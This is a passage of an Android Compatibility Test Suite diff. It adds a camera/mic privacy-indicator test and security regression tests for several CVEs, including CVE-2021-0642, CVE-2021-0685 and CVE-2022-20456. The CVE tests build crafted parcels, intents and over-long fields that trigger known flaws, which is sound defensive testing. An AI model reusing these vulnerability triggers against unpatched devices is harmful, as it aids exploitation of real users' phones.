+import kotlinx.coroutines.delay
+import kotlinx.coroutines.launch
+
+private const val USE_CAMERA = "use_camera"
+private const val USE_MICROPHONE = "use_microphone"
+private const val USE_DURATION_MS = 10000L
+private const val SAMPLE_RATE_HZ = 44100
+
+/**
+ * Activity which will, depending on the extra passed in the intent, use the camera, the microphone,
+ * or both.
+ */
+class AccessCameraOrMicActivity : Activity() {
+    private lateinit var cameraId: String
+    private var cameraDevice: CameraDevice? = null
+    private var recorder: AudioRecord? = null
+    private var cameraFinished = false
+    private var runCamera = false
+    private var micFinished = false
+    private var runMic = false
+
+    override fun onStart() {
+        super.onStart()
+        runCamera = intent.getBooleanExtra(USE_CAMERA, false)
+        runMic = intent.getBooleanExtra(USE_MICROPHONE, false)
+
+        if (runMic) {
+            useMic()
+        }
+
+        if (runCamera) {
+            useCamera()
+        }
+    }
+
+    override fun onStop() {
+        super.onStop()
+        cameraDevice?.close()
+        recorder?.stop()
+        finish()
+    }
+
+    private val stateCallback = object : CameraDevice.StateCallback() {
+        override fun onOpened(@NonNull camDevice: CameraDevice) {
+            cameraDevice = camDevice
+            GlobalScope.launch {
+                delay(USE_DURATION_MS)
+                cameraFinished = true
+                if (!runMic || micFinished) {
+                    finish()
+                }
+            }
+        }
+
+        override fun onDisconnected(@NonNull camDevice: CameraDevice) {
+            camDevice.close()
+            throw RuntimeException("Camera was disconnected")
+        }
+
+        override fun onError(@NonNull camDevice: CameraDevice, error: Int) {
+            camDevice.close()
+            throw RuntimeException("Camera error")
+        }
+    }
+
+    @Throws(CameraAccessException::class)
+    private fun useCamera() {
+        val manager = getSystemService(CameraManager::class.java)!!
+        cameraId = manager.cameraIdList[0]
+        manager.openCamera(cameraId, mainExecutor, stateCallback)
+    }
+
+    private fun useMic() {
+        val minSize =
+            AudioRecord.getMinBufferSize(SAMPLE_RATE_HZ, CHANNEL_IN_MONO, ENCODING_PCM_16BIT)
+        recorder = AudioRecord(MIC, SAMPLE_RATE_HZ, CHANNEL_IN_MONO, ENCODING_PCM_16BIT, minSize)
+        recorder?.startRecording()
+        GlobalScope.launch {
+            delay(USE_DURATION_MS)
+            micFinished = true
+            if (!runCamera || cameraFinished) {
+                finish()
+            }
+        }
+    }
+}
diff --git a/tests/tests/permission4/OWNERS b/tests/tests/permission4/OWNERS
new file mode 100644
index 0000000..d4d6a95
--- /dev/null
+++ b/tests/tests/permission4/OWNERS
@@ -0,0 +1,7 @@
+# Bug component: 137825
+svetoslavganov@google.com
+moltmann@google.com
+zhanghai@google.com
+eugenesusla@google.com
+evanseverson@google.com
+ntmyren@google.com
diff --git a/tests/tests/permission4/src/android/permission4/cts/CameraMicIndicatorsPermissionTest.kt b/tests/tests/permission4/src/android/permission4/cts/CameraMicIndicatorsPermissionTest.kt
new file mode 100644
index 0000000..0f36f5a
--- /dev/null
+++ b/tests/tests/permission4/src/android/permission4/cts/CameraMicIndicatorsPermissionTest.kt
@@ -0,0 +1,181 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.permission4.cts
+
+import android.Manifest
+import android.app.Instrumentation
+import android.app.UiAutomation
+import android.app.compat.CompatChanges
+import android.content.Context
+import android.content.Intent
+import android.content.pm.PackageManager
+import android.hardware.camera2.CameraManager
+import android.os.Process
+import android.provider.DeviceConfig
+import android.provider.Settings
+import android.support.test.uiautomator.By
+import android.support.test.uiautomator.UiDevice
+import android.support.test.uiautomator.UiSelector
+import androidx.test.platform.app.InstrumentationRegistry
+import com.android.compatibility.common.util.SystemUtil.callWithShellPermissionIdentity
+import com.android.compatibility.common.util.SystemUtil.eventually
+import com.android.compatibility.common.util.SystemUtil.runShellCommand
+import com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity
+import org.junit.After
+import org.junit.Assert.assertTrue
+import org.junit.Assume.assumeFalse
+import org.junit.Assume.assumeTrue
+import org.junit.Before
+import org.junit.Test
+
+private const val APP_LABEL = "CtsCameraMicAccess"
+private const val USE_CAMERA = "use_camera"
+private const val USE_MICROPHONE = "use_microphone"
+private const val INTENT_ACTION = "test.action.USE_CAMERA_OR_MIC"
+private const val PRIVACY_CHIP_ID = "com.android.systemui:id/privacy_chip"
+private const val INDICATORS_FLAG = "camera_mic_icons_enabled"
+private const val PERMISSION_INDICATORS_NOT_PRESENT = 162547999L
+private const val IDLE_TIMEOUT_MILLIS: Long = 1000
+private const val UNEXPECTED_TIMEOUT_MILLIS = 1000
+private const val TIMEOUT_MILLIS: Long = 20000
+
+class CameraMicIndicatorsPermissionTest {
+    private val instrumentation: Instrumentation = InstrumentationRegistry.getInstrumentation()
+    private val context: Context = instrumentation.context
+    private val uiAutomation: UiAutomation = instrumentation.uiAutomation
+    private val uiDevice: UiDevice = UiDevice.getInstance(instrumentation)
+    private val packageManager: PackageManager = context.packageManager
+
+    private var wasEnabled = false
+    private val micLabel = packageManager.getPermissionGroupInfo(
+        Manifest.permission_group.MICROPHONE, 0).loadLabel(packageManager).toString()
+    private val cameraLabel = packageManager.getPermissionGroupInfo(
+        Manifest.permission_group.CAMERA, 0).loadLabel(packageManager).toString()
+
+    private var screenTimeoutBeforeTest: Long = 0L
+
+    @Before
+    fun setUp() {
+        runWithShellPermissionIdentity {
+            screenTimeoutBeforeTest = Settings.System.getLong(
+                context.contentResolver, Settings.System.SCREEN_OFF_TIMEOUT
+            )
+            Settings.System.putLong(
+                context.contentResolver, Settings.System.SCREEN_OFF_TIMEOUT, 1800000L
+            )
+        }
+
+        uiDevice.wakeUp()
+        runShellCommand(instrumentation, "wm dismiss-keyguard")
+
+        uiDevice.findObject(By.text("Close"))?.click()
+        wasEnabled = setIndicatorsEnabledStateIfNeeded(true)
+        // If the change Id is not present, then isChangeEnabled will return true. To bypass this,
+        // the change is set to "false" if present.
+        assumeFalse("feature not present on this device", callWithShellPermissionIdentity {
+            CompatChanges.isChangeEnabled(PERMISSION_INDICATORS_NOT_PRESENT, Process.SYSTEM_UID)
+        })
+    }
+
+    private fun setIndicatorsEnabledStateIfNeeded(shouldBeEnabled: Boolean): Boolean {
+        var currentlyEnabled = false
+        runWithShellPermissionIdentity {
+            currentlyEnabled = DeviceConfig.getBoolean(DeviceConfig.NAMESPACE_PRIVACY,
+                INDICATORS_FLAG, false)
+            if (currentlyEnabled != shouldBeEnabled) {
+                DeviceConfig.setProperty(DeviceConfig.NAMESPACE_PRIVACY, INDICATORS_FLAG,
+                    shouldBeEnabled.toString(), false)
+            }
+        }
+        return currentlyEnabled
+    }
+
+    @After
+    fun tearDown() {
+        if (!wasEnabled) {
+            setIndicatorsEnabledStateIfNeeded(false)
+        }
+        runWithShellPermissionIdentity {
+            Settings.System.putLong(
+                context.contentResolver, Settings.System.SCREEN_OFF_TIMEOUT,
+                screenTimeoutBeforeTest
+            )
+        }
+
+        pressHome()
+    }
+
+    private fun openApp(useMic: Boolean, useCamera: Boolean) {
+        context.startActivity(Intent(INTENT_ACTION).apply {
+            putExtra(USE_CAMERA, useCamera)
+            putExtra(USE_MICROPHONE, useMic)
+            addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
+        })
+    }
+
+    @Test
+    fun testCameraIndicator() {
+        val manager = context.getSystemService(CameraManager::class.java)!!
+        assumeTrue(manager.cameraIdList.isNotEmpty())
+        testCameraAndMicIndicator(useMic = false, useCamera = true)
+    }
+
+    @Test
+    fun testMicIndicator() {
+        testCameraAndMicIndicator(useMic = true, useCamera = false)
+    }
+
+    private fun testCameraAndMicIndicator(useMic: Boolean, useCamera: Boolean) {
+        openApp(useMic, useCamera)
+        eventually {
+            val appView = uiDevice.findObject(UiSelector().textContains(APP_LABEL))
+            assertTrue("View with text $APP_LABEL not found", appView.exists())
+        }
+        uiDevice.openNotification()
+        // Ensure the privacy chip is present
+        eventually {
+            val privacyChip = uiDevice.findObject(UiSelector().resourceId(PRIVACY_CHIP_ID))
+            assertTrue("view with id $PRIVACY_CHIP_ID not found", privacyChip.exists())
+            privacyChip.click()
+        }
+        eventually {
+            if (useMic) {
+                val appView = uiDevice.findObject(UiSelector().textContains(micLabel))
+                assertTrue("View with text $APP_LABEL not found", appView.exists())
+            }
+            if (useCamera) {
+                val appView = uiDevice.findObject(UiSelector().textContains(cameraLabel))
+                assertTrue("View with text $APP_LABEL not found", appView.exists())
+            }
+            val appView = uiDevice.findObject(UiSelector().textContains(APP_LABEL))
+            assertTrue("View with text $APP_LABEL not found", appView.exists())
+        }
+        pressBack()
+    }
+
+    private fun pressBack() {
+        uiDevice.pressBack()
+        waitForIdle()
+    }
+
+    private fun pressHome() {
+        uiDevice.pressHome()
+        waitForIdle()
+    }
+
+    private fun waitForIdle() =
+        uiAutomation.waitForIdle(IDLE_TIMEOUT_MILLIS, TIMEOUT_MILLIS)
+}
\ No newline at end of file
diff --git a/tests/tests/provider/Android.bp b/tests/tests/provider/Android.bp
index 7dac784..84efe7d 100644
--- a/tests/tests/provider/Android.bp
+++ b/tests/tests/provider/Android.bp
@@ -27,6 +27,7 @@
         "junit",
         "truth-prebuilt",
         "mockito-target-minus-junit4",
+        "sts-device-util",
     ],
 
     jni_libs: [
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Images_ThumbnailsTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Images_ThumbnailsTest.java
index 479c3ab..11a0e66 100644
--- a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Images_ThumbnailsTest.java
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Images_ThumbnailsTest.java
@@ -17,8 +17,6 @@
 package android.provider.cts.media;
 
 import static android.provider.cts.ProviderTestUtils.assertColorMostlyEquals;
-import static android.provider.cts.ProviderTestUtils.assertExists;
-import static android.provider.cts.ProviderTestUtils.assertNotExists;
 import static android.provider.cts.ProviderTestUtils.extractAverageColor;
 import static android.provider.cts.media.MediaStoreTest.TAG;
 
@@ -51,6 +49,9 @@
 import android.provider.cts.R;
 import android.provider.cts.media.MediaStoreUtils.PendingParams;
 import android.provider.cts.media.MediaStoreUtils.PendingSession;
+import android.system.ErrnoException;
+import android.system.Os;
+import android.system.OsConstants;
 import android.util.DisplayMetrics;
 import android.util.Log;
 import android.util.Size;
@@ -69,6 +70,7 @@
 
 import java.io.File;
 import java.io.FileNotFoundException;
+import java.io.IOException;
 import java.io.OutputStream;
 import java.util.ArrayList;
 
@@ -211,7 +213,7 @@
         c.close();
 
         ProviderTestUtils.waitForIdle();
-        assertExists("image file does not exist", imagePath);
+        assertFileExists(imagePath);
         assertNotNull(Thumbnails.getThumbnail(resolver, imageId, Thumbnails.MINI_KIND, null));
         assertNotNull(Thumbnails.getThumbnail(resolver, imageId, Thumbnails.MICRO_KIND, null));
 
@@ -222,7 +224,7 @@
         mRowsAdded.remove(stringUri);
 
         ProviderTestUtils.waitForIdle();
-        assertNotExists("image file should no longer exist", imagePath);
+        assertFileNotExists(imagePath);
         assertNull(Thumbnails.getThumbnail(resolver, imageId, Thumbnails.MINI_KIND, null));
         assertNull(Thumbnails.getThumbnail(resolver, imageId, Thumbnails.MICRO_KIND, null));
 
@@ -234,10 +236,10 @@
         imageId = c.getLong(c.getColumnIndex(Media._ID));
         imagePath = c.getString(c.getColumnIndex(Media.DATA));
         c.close();
-        assertExists("image file does not exist", imagePath);
+        assertFileExists(imagePath);
         Uri fileuri = MediaStore.Files.getContentUri("external", imageId);
         mContentResolver.delete(fileuri, null, null);
-        assertNotExists("image file should no longer exist", imagePath);
+        assertFileNotExists(imagePath);
     }
 
     @Test
@@ -503,4 +505,26 @@
         bitmap.compress(Bitmap.CompressFormat.PNG, 90, out);
     }
 
+    private static void assertFileExists(String path) throws Exception {
+        try {
+            Os.access(path, OsConstants.F_OK);
+        } catch (ErrnoException e) {
+            if (e.errno == OsConstants.ENOENT) {
+                fail("File " + path + " doesn't exist.");
+            } else {
+                throw e;
+            }
+        }
+    }
+
+    private static void assertFileNotExists(String path) throws Exception {
+        try {
+            Os.access(path, OsConstants.F_OK);
+            fail("File " + path + " exists.");
+        } catch (ErrnoException e) {
+            if (e.errno != OsConstants.ENOENT) {
+                throw e;
+            }
+        }
+    }
 }
diff --git a/tests/tests/provider/src/android/provider/cts/settings/Settings_SystemTest.java b/tests/tests/provider/src/android/provider/cts/settings/Settings_SystemTest.java
index 2fc25b8..97de5cb 100644
--- a/tests/tests/provider/src/android/provider/cts/settings/Settings_SystemTest.java
+++ b/tests/tests/provider/src/android/provider/cts/settings/Settings_SystemTest.java
@@ -40,8 +40,10 @@
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
 @RunWith(AndroidJUnit4.class)
-public class Settings_SystemTest {
+public class Settings_SystemTest extends StsExtraBusinessLogicTestCase {
     private static final String INT_FIELD = System.END_BUTTON_BEHAVIOR;
     private static final String LONG_FIELD = System.SCREEN_OFF_TIMEOUT;
     private static final String FLOAT_FIELD = System.FONT_SCALE;
diff --git a/tests/tests/security/AndroidManifest.xml b/tests/tests/security/AndroidManifest.xml
index 9478938..9c43b58 100644
--- a/tests/tests/security/AndroidManifest.xml
+++ b/tests/tests/security/AndroidManifest.xml
@@ -163,6 +163,9 @@
             </intent-filter>
         </activity>
 
+        <activity android:name="android.security.cts.PackageInstallerTest$BackgroundLaunchActivity"
+            android:exported="true" />
+
         <receiver
             android:name="android.security.cts.CVE_2021_0327.workprofilesetup.AdminReceiver"
             android:permission="android.permission.BIND_DEVICE_ADMIN">
@@ -203,6 +206,26 @@
                 android:resource="@xml/syncadapter" />
         </service>
 
+        <activity android:name="android.security.cts.CVE_2021_0642.PocActivity"
+            android:exported="true">
+            <intent-filter>
+                <action android:name="android.telephony.action.CONFIGURE_VOICEMAIL" />
+                <category android:name="android.intent.category.DEFAULT" />
+            </intent-filter>
+            <intent-filter>
+                <action android:name="CVE_2021_0642_ACTION" />
+                <category android:name="android.intent.category.DEFAULT" />
+            </intent-filter>
+        </activity>
+
+        <activity android:name="android.security.cts.CVE_2021_0642.SecondActivity"
+            android:exported="true">
+            <intent-filter>
+                <action android:name="CVE_2021_0642_ACTION" />
+                <category android:name="android.intent.category.DEFAULT" />
+            </intent-filter>
+        </activity>
+
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
diff --git a/tests/tests/security/res/raw/cve_2022_33234.mkv b/tests/tests/security/res/raw/cve_2022_33234.mkv
new file mode 100644
index 0000000..752e3cd
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2022_33234.mkv
Binary files differ
diff --git a/tests/tests/security/res/values/strings.xml b/tests/tests/security/res/values/strings.xml
new file mode 100644
index 0000000..73dd5b9
--- /dev/null
+++ b/tests/tests/security/res/values/strings.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<resources>
+    <!-- CVE-2021-0642 -->
+    <string name="cve_2021_0642_action">CVE_2021_0642_ACTION</string>
+    <string name="cve_2021_0642_pkgPhone">com.android.phone</string>
+    <string name="cve_2021_0642_failMsg">Device is vulnerable to b/185126149 !!</string>
+    <string name="cve_2021_0642_msgResolveErrorVoicemail">The intent with action
+    ACTION_CONFIGURE_VOICEMAIL should resolve to either ResolverActivity or
+    VoicemailSettingsActivity</string>
+    <string name="cve_2021_0642_msgResolveErrorPocAction">The intent with action
+    CVE_2021_0642_ACTION should not be resolved to test package</string>
+</resources>
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0642/CVE_2021_0642.java b/tests/tests/security/src/android/security/cts/CVE_2021_0642/CVE_2021_0642.java
new file mode 100644
index 0000000..b40c06b
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0642/CVE_2021_0642.java
@@ -0,0 +1,90 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0642;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.platform.test.annotations.AsbSecurityTest;
+import android.security.cts.R;
+import android.telephony.TelephonyManager;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import java.util.List;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class CVE_2021_0642 extends StsExtraBusinessLogicTestCase {
+
+    // b/185126149
+    // Vulnerable app    : TeleService.apk
+    // Vulnerable module : com.android.phone
+    // Is Play managed   : No
+    @AsbSecurityTest(cveBugId = 185126149)
+    @Test
+    public void testCVE_2021_0642() {
+        try {
+            // This test requires the device to have Telephony feature.
+            Context context = getInstrumentation().getTargetContext();
+            PackageManager pm = context.getPackageManager();
+            assumeTrue(pm.hasSystemFeature(PackageManager.FEATURE_TELEPHONY));
+
+            // Get ResolverActivity's name and package name
+            Intent customIntent = new Intent(context.getString(R.string.cve_2021_0642_action));
+            ResolveInfo riCustomAction =
+                    pm.resolveActivity(customIntent, PackageManager.MATCH_DEFAULT_ONLY);
+            assumeTrue(context.getString(R.string.cve_2021_0642_msgResolveErrorPocAction),
+                    !riCustomAction.activityInfo.packageName.equals(context.getPackageName()));
+            final String resolverPkgName = riCustomAction.activityInfo.packageName;
+            final String resolverActivityName = riCustomAction.activityInfo.name;
+
+            // Resolving intent with action "ACTION_CONFIGURE_VOICEMAIL"
+            Intent intent = new Intent(TelephonyManager.ACTION_CONFIGURE_VOICEMAIL);
+            ResolveInfo ri = pm.resolveActivity(intent, PackageManager.MATCH_DEFAULT_ONLY);
+            final String resolvedPkgName = ri.activityInfo.packageName;
+            final String resolvedActivityName = ri.activityInfo.name;
+
+            // Check if intent resolves to either VoicemailActivity or ResolverActivity
+            boolean isVoicemailActivity =
+                    resolvedPkgName.equals(context.getString(R.string.cve_2021_0642_pkgPhone));
+            boolean isResolverActivity = resolvedPkgName.equals(resolverPkgName)
+                    && resolvedActivityName.equals(resolverActivityName);
+
+            assumeTrue(context.getString(R.string.cve_2021_0642_msgResolveErrorVoicemail),
+                    isVoicemailActivity || isResolverActivity);
+
+            // If vulnerability is present, the intent with action ACTION_CONFIGURE_VOICEMAIL
+            // would resolve to the IntentResolver i.e. ResolverActivity, the test would fail in
+            // this case.
+            assertFalse(context.getString(R.string.cve_2021_0642_failMsg), isResolverActivity);
+        } catch (Exception e) {
+            assumeNoException(e);
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java b/tests/tests/security/src/android/security/cts/CVE_2021_0642/PocActivity.java
similarity index 93%
rename from hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
rename to tests/tests/security/src/android/security/cts/CVE_2021_0642/PocActivity.java
index 1a335c7..ae73b01 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0642/PocActivity.java
@@ -14,7 +14,7 @@
  * limitations under the License.
  */
 
-package android.security.cts.cve_2021_0642;
+package android.security.cts.CVE_2021_0642;
 
 import android.app.Activity;
 
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java b/tests/tests/security/src/android/security/cts/CVE_2021_0642/SecondActivity.java
similarity index 87%
copy from hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
copy to tests/tests/security/src/android/security/cts/CVE_2021_0642/SecondActivity.java
index 1a335c7..4c0caee 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0642/SecondActivity.java
@@ -14,9 +14,9 @@
  * limitations under the License.
  */
 
-package android.security.cts.cve_2021_0642;
+package android.security.cts.CVE_2021_0642;
 
 import android.app.Activity;
 
-public class PocActivity extends Activity {
+public class SecondActivity extends Activity {
 }
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0685.java b/tests/tests/security/src/android/security/cts/CVE_2021_0685.java
new file mode 100644
index 0000000..5a4de17
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0685.java
@@ -0,0 +1,76 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeNoException;
+
+import android.content.IntentFilter;
+import android.content.pm.parsing.component.ParsedIntentInfo;
+import android.os.Parcel;
+import android.platform.test.annotations.AsbSecurityTest;
+import android.text.TextUtils;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class CVE_2021_0685 extends StsExtraBusinessLogicTestCase {
+    private static final int VAL_LABEL_RES = 5;
+    private static final boolean VAL_HAS_DEFAULT = true;
+    private static final String VAL_NONLOCALIZED_LABEL = "CVE_2021_0965";
+    private static final int VAL_ICON = 7;
+    private static final int PARCELABLE_FLAGS = 0;
+
+    @AsbSecurityTest(cveBugId = 191055353)
+    @Test
+    public void testPocCVE_2021_0685() {
+        Parcel parcel = null;
+        try {
+            parcel = Parcel.obtain();
+            parcel.writeString(ParsedIntentInfo.class.getName());
+            new IntentFilter().writeToParcel(parcel, PARCELABLE_FLAGS);
+            parcel.writeBoolean(VAL_HAS_DEFAULT);
+            parcel.writeInt(VAL_LABEL_RES);
+            TextUtils.writeToParcel(VAL_NONLOCALIZED_LABEL, parcel, PARCELABLE_FLAGS);
+            parcel.writeInt(VAL_ICON);
+
+            parcel.setDataPosition(0);
+            ParsedIntentInfo info = parcel.readParcelable(ParsedIntentInfo.class.getClassLoader());
+            if (info.getLabelRes() == VAL_LABEL_RES && info.isHasDefault() == VAL_HAS_DEFAULT
+                    && info.getNonLocalizedLabel().equals(VAL_NONLOCALIZED_LABEL)
+                    && info.getIcon() == VAL_ICON) {
+                fail("Vulnerable to b/191055353!!");
+            }
+        } catch (Exception e) {
+            if (e instanceof ClassCastException) {
+                return;
+            }
+            assumeNoException(e);
+        } finally {
+            try {
+                parcel.recycle();
+            } catch (Exception e) {
+                // ignore all exceptions.
+            }
+        }
+    }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2022_20456.java b/tests/tests/security/src/android/security/cts/CVE_2022_20456.java
new file mode 100644
index 0000000..2643433
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2022_20456.java
@@ -0,0 +1,208 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static android.app.NotificationManager.INTERRUPTION_FILTER_UNKNOWN;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeNoException;
+
+import android.app.AutomaticZenRule;
+import android.content.ComponentName;
+import android.net.Uri;
+import android.os.Parcel;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.lang.reflect.Field;
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.List;
+
+
+// This CTS test has been created taking reference from the tests present in
+// frameworks/base/core/tests/coretests/src/android/app/AutomaticZenRuleTest.java
+@RunWith(AndroidJUnit4.class)
+public class CVE_2022_20456 extends StsExtraBusinessLogicTestCase {
+    private static final int INPUT_STRING_LENGTH = 2000; // 2 * 'MAX_STRING_LENGTH'
+    private static final String CLASS_NAME = "className";
+    private static final String PACKAGE_NAME = "packageName";
+    private static final String URI_STRING = "condition://android";
+    private static final String ZEN_RULE_NAME = "ZenRuleName";
+    private ComponentName mComponentNameWithLongFields;
+    private ComponentName mValidComponentName;
+    private String mLongString;
+    private Uri mLongUri;
+    private Uri mValidUri;
+    private List<String> mViolations;
+
+    private void checkFields(AutomaticZenRule rule, boolean ownerFlag, boolean configActivityFlag,
+            String tag) {
+        // Check all fields
+        if (INPUT_STRING_LENGTH <= rule.getName().length()) {
+            mViolations.add(tag + "input string length <= rule name length");
+        }
+        if (mLongUri.toString().length() <= rule.getConditionId().toString().length()) {
+            mViolations.add(tag + "input uri length <= rule conditionId length");
+        }
+        if (ownerFlag) {
+            if (INPUT_STRING_LENGTH <= rule.getOwner().getPackageName().length()) {
+                mViolations.add(tag + "input string length <= rule owner package name length");
+            }
+            if (INPUT_STRING_LENGTH <= rule.getOwner().getClassName().length()) {
+                mViolations.add(tag + "input string length <= rule owner class name length");
+            }
+        }
+        if (configActivityFlag) {
+            if (INPUT_STRING_LENGTH <= rule.getConfigurationActivity().getPackageName().length()) {
+                mViolations.add(tag
+                        + "input string length <= rule configurationActivity package name length");
+            }
+            if (INPUT_STRING_LENGTH <= rule.getConfigurationActivity().getClassName().length()) {
+                mViolations.add(tag
+                        + "input string length <= rule configurationActivity class name length");
+            }
+        }
+    }
+
+    private void checkConstructor(boolean ownerFlag, boolean configActivityFlag) {
+        ComponentName owner = ownerFlag ? mComponentNameWithLongFields : null;
+        ComponentName configActivity = configActivityFlag ? mComponentNameWithLongFields : null;
+        AutomaticZenRule rule = new AutomaticZenRule(mLongString, owner, configActivity, mLongUri,
+                null, INTERRUPTION_FILTER_UNKNOWN, /* enabled */ true);
+        checkFields(rule, ownerFlag, configActivityFlag, "\ncheckConstructor (owner=" + ownerFlag
+                + ", configActivity=" + configActivityFlag + "): ");
+    }
+
+    private void testIsConstructorVulnerable() {
+        // Check all three variants i.e. with owner, with configuration activity and with both
+        // owner and configuration activity. Although third case is mostly redundant, adding it to
+        // complete checks on all possible variants.
+        checkConstructor(/* ownerFlag */ true, /* configActivityFlag */ false);
+        checkConstructor(/* ownerFlag */ false, /* configActivityFlag */ true);
+        checkConstructor(/* ownerFlag */ true, /* configActivityFlag */ true);
+    }
+
+    private void checkFieldSetters(boolean ownerFlag, boolean configActivityFlag) {
+        ComponentName owner = ownerFlag ? mValidComponentName : null;
+        ComponentName configActivity = configActivityFlag ? mValidComponentName : null;
+        AutomaticZenRule rule = new AutomaticZenRule(ZEN_RULE_NAME, owner, configActivity,
+                mValidUri, null, INTERRUPTION_FILTER_UNKNOWN, /* enabled */ true);
+
+        // Check all fields that can be set via setter methods of AutomaticZenRule class
+        rule.setName(mLongString);
+        rule.setConditionId(mLongUri);
+        rule.setConfigurationActivity(mComponentNameWithLongFields);
+        checkFields(rule, /* ownerFlag */ false, /* configActivityFlag */ true,
+                "\ncheckFieldSetters (owner=" + ownerFlag + ", configActivity=" + configActivityFlag
+                        + "): ");
+    }
+
+    private void testIsFieldSetterVulnerable() {
+        checkFieldSetters(/* ownerFlag */ true, /* configActivityFlag */ false);
+        checkFieldSetters(/* ownerFlag */ false, /* configActivityFlag */ true);
+        checkFieldSetters(/* ownerFlag */ true, /* configActivityFlag */ true);
+    }
+
+    private void checkParcelInput(boolean ownerFlag, boolean configActivityFlag)
+            throws ClassNotFoundException, IllegalAccessException, NoSuchFieldException {
+        ComponentName owner = ownerFlag ? mValidComponentName : null;
+        ComponentName configActivity = configActivityFlag ? mValidComponentName : null;
+        AutomaticZenRule rule = new AutomaticZenRule(ZEN_RULE_NAME, owner, configActivity,
